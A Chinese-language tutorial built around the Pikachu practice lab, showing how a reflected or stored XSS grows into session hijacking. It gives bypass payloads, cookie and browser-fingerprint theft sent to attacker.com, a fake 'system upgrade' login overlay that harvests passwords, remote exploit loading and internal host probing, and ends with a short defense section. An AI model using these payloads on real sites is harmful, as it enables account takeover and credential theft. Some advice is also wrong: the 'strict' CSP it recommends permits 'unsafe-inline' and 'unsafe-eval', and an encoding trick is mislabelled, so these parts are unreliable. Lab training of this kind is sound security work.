从弹窗到会话劫持:Pikachu靶场中的XSS攻击链实战演练
当你在Pikachu靶场看到第一个alert(1)弹窗时,可能还没意识到这个看似无害的弹窗背后隐藏着怎样的攻击潜力。作为安全研究人员,我们需要从攻击者视角思考:如何将简单的XSS漏洞转化为完整的攻击链?本文将带你从基础弹窗测试开始,逐步升级到会话劫持、钓鱼攻击等实战场景。
1. XSS攻击的起点:理解漏洞本质
XSS攻击的核心在于浏览器无法区分脚本是来自可信来源还是攻击者注入。在Pikachu靶场中,反射型XSS是最容易发现的入口点。尝试在搜索框输入:
<script>alert(document.domain)</script>这个简单的payload不仅能验证漏洞存在,还能确认当前域——这是后续攻击的关键信息。值得注意的是,现代浏览器虽然具备基本的XSS防护机制,但通过一些小技巧仍然可以绕过:
- 使用大小写混合:
<ScRiPt>alert(1)</sCriPt> - 避免直接使用script标签:
<img src=x onerror=alert(1)> - 利用HTML实体编码:
<svg/onload=alert(1)>
为什么这些变体能生效?因为浏览器解析HTML时存在多种上下文环境,而防御机制往往只检查最常见的模式。
2. 从验证到利用:存储型XSS的持久化攻击
存储型XSS的危险性在于它不需要诱导用户点击特定链接。在Pikachu的留言板功能中,尝试提交:
<script> fetch('https://attacker.com/steal?cookie='+document.cookie) </script>这个payload会将访问者的cookie发送到攻击者控制的服务器。实际操作中,你需要考虑几个关键点:
跨域限制:现代浏览器会阻止简单的跨域请求,解决方案包括:
- 使用CORS代理
- 通过图片标签发送数据:
<img src="https://attacker.com/log?data='+escape(document.cookie)+'">
cookie安全属性:HttpOnly标记会阻止JavaScript读取cookie,此时需要其他攻击方式:
<!-- 诱导用户执行敏感操作 --> <form action="https://vulnerable-site.com/change-email" method="POST"> <input type="hidden" name="email" value="attacker@example.com"> </form> <script>document.forms[0].submit()</script>- 攻击隐蔽性:为避免被发现,高级攻击者会:
- 延迟执行脚本
- 只在特定时间段激活
- 根据用户行为判断是否触发
3. 会话劫持实战:窃取与管理用户身份
获取cookie只是第一步,真正的攻击在于如何利用这些凭证。在Pikachu环境中,我们可以模拟完整的会话劫持过程:
- 信息收集:
// 获取完整环境信息 var data = { cookie: document.cookie, userAgent: navigator.userAgent, plugins: Array.from(navigator.plugins).map(p => p.name), screen: {width: screen.width, height: screen.height} }; new Image().src = 'https://attacker.com/log?'+encodeURIComponent(JSON.stringify(data));- 会话重放: 使用Burp Suite等工具将窃取的cookie注入到新请求中:
GET /admin HTTP/1.1 Host: vulnerable-site.com Cookie: sessionid=STOLEN_SESSION_ID- 权限维持: 即使原会话过期,攻击者仍可通过以下方式保持访问:
- 自动重放攻击脚本
- 植入持久化XSS payload
- 利用CSRF修改账户信息
重要提示:在真实环境中测试这些技术必须获得明确授权,未经许可的测试可能构成违法行为。
4. 攻击升级:从XSS到全面入侵
单纯的XSS可以与其他漏洞结合形成更强大的攻击链。在Pikachu靶场中,我们可以模拟几种典型场景:
场景一:钓鱼攻击
<script> document.body.innerHTML = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"> <h1>系统升级通知</h1> <p>请输入您的凭据以继续:</p> <input type="text" id="username" placeholder="用户名"> <input type="password" id="password" placeholder="密码"> <button onclick="steal()">提交</button> </div> `; function steal() { fetch('https://attacker.com/log?'+new URLSearchParams({ u: document.getElementById('username').value, p: document.getElementById('password').value })); location.reload(); // 移除钓鱼页面 } </script>场景二:浏览器漏洞利用结合Metasploit框架,XSS可以成为初始攻击向量:
<script src="http://attacker.com/exploit.js"></script>这个脚本可能利用浏览器0day漏洞下载并执行恶意软件。
场景三:内部网络探测
// 尝试访问内部资源 var internalHosts = ['router.local', 'db.internal', '192.168.1.1']; internalHosts.forEach(host => { fetch(`http://${host}`, {mode: 'no-cors'}) .then(() => reportLiveHost(host)) .catch(() => {}); });5. 防御与缓解:构建XSS防护体系
理解了攻击手法后,我们需要从开发者和运维角度建立防御:
技术措施对比表
| 防御措施 | 实现方式 | 防护效果 | 局限性 |
|---|---|---|---|
| 输入过滤 | 黑名单/白名单 | 中等 | 可能被绕过 |
| 输出编码 | HTML实体化 | 高 | 需根据上下文调整 |
| CSP策略 | Content-Security-Policy头 | 很高 | 配置复杂 |
| HttpOnly | Cookie属性 | 针对会话劫持 | 不防CSRF |
| 沙箱iframe | sandbox属性 | 极高 | 功能受限 |
现代前端框架的防护机制:
- React自动转义变量
- Vue.js提供v-html指令的显式警告
- Angular的DomSanitizer服务
运维层面的加固建议:
- 部署WAF规则过滤常见XSS模式
- 定期进行安全扫描和渗透测试
- 实施严格的CSP策略:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'在Pikachu靶场的实践过程中,最令我惊讶的是即使是最简单的XSS漏洞,经过精心设计也能演变成系统级威胁。一次成功的渗透往往不是依靠单一漏洞,而是多个看似微小的问题组合利用的结果。